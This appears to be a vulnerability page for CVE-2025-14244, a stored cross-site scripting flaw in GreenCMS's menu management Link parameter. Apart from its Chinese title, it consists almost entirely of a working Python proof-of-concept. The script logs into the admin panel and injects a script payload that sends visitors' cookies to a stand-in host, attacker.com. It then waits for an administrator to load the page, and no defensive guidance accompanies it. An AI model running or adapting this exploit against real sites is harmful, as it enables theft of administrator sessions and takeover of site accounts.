CVE-2025-14244 GreenCMS菜单管理页面Link参数XSS漏洞

import requests import sys # CVE-2025-14244 PoC - GreenCMS Menu Management XSS # Target: GreenCMS 2.3.0603 # Component: /Admin/Controller/CustomController.class.php # Parameter: Link (Menu Management) TARGET_URL = "http://target.com/greencms/" LOGIN_URL = TARGET_URL + "index.php?m=Admin&c=Public&a=login" MENU_URL = TARGET_URL + "index.php?m=Admin&c=Custom&a=add" # XSS payload - steals admin cookies XSS_PAYLOAD = "<script>document.location='https://attacker.com/log?c='+document.cookie</script>" def login(username, password): """Login to GreenCMS admin panel""" session = requests.Session() data = { 'username': username, 'password': password, 'dosubmit': '1' } resp = session.post(LOGIN_URL, data=data) return session if 'success' in resp.text else None def inject_xss(session): """Inject XSS payload into Menu Management Link parameter""" data = { 'title': 'Malicious Menu', 'link': XSS_PAYLOAD, # Vulnerable parameter 'sort': '0', 'dosubmit': '1' } resp = session.post(MENU_URL, data=data) return resp.status_code == 200 def main(): if len(sys.argv) != 3: print(f"Usage: python {sys.argv[0]} <username> <password>") sys.exit(1) username, password = sys.argv[1], sys.argv[2] session = login(username, password) if session: if inject_xss(session): print("[+] XSS payload injected successfully!") print("[*] Wait for admin to visit menu page") else: print("[-] Failed to inject payload") else: print("[-] Login failed") if __name__ == "__main__": main()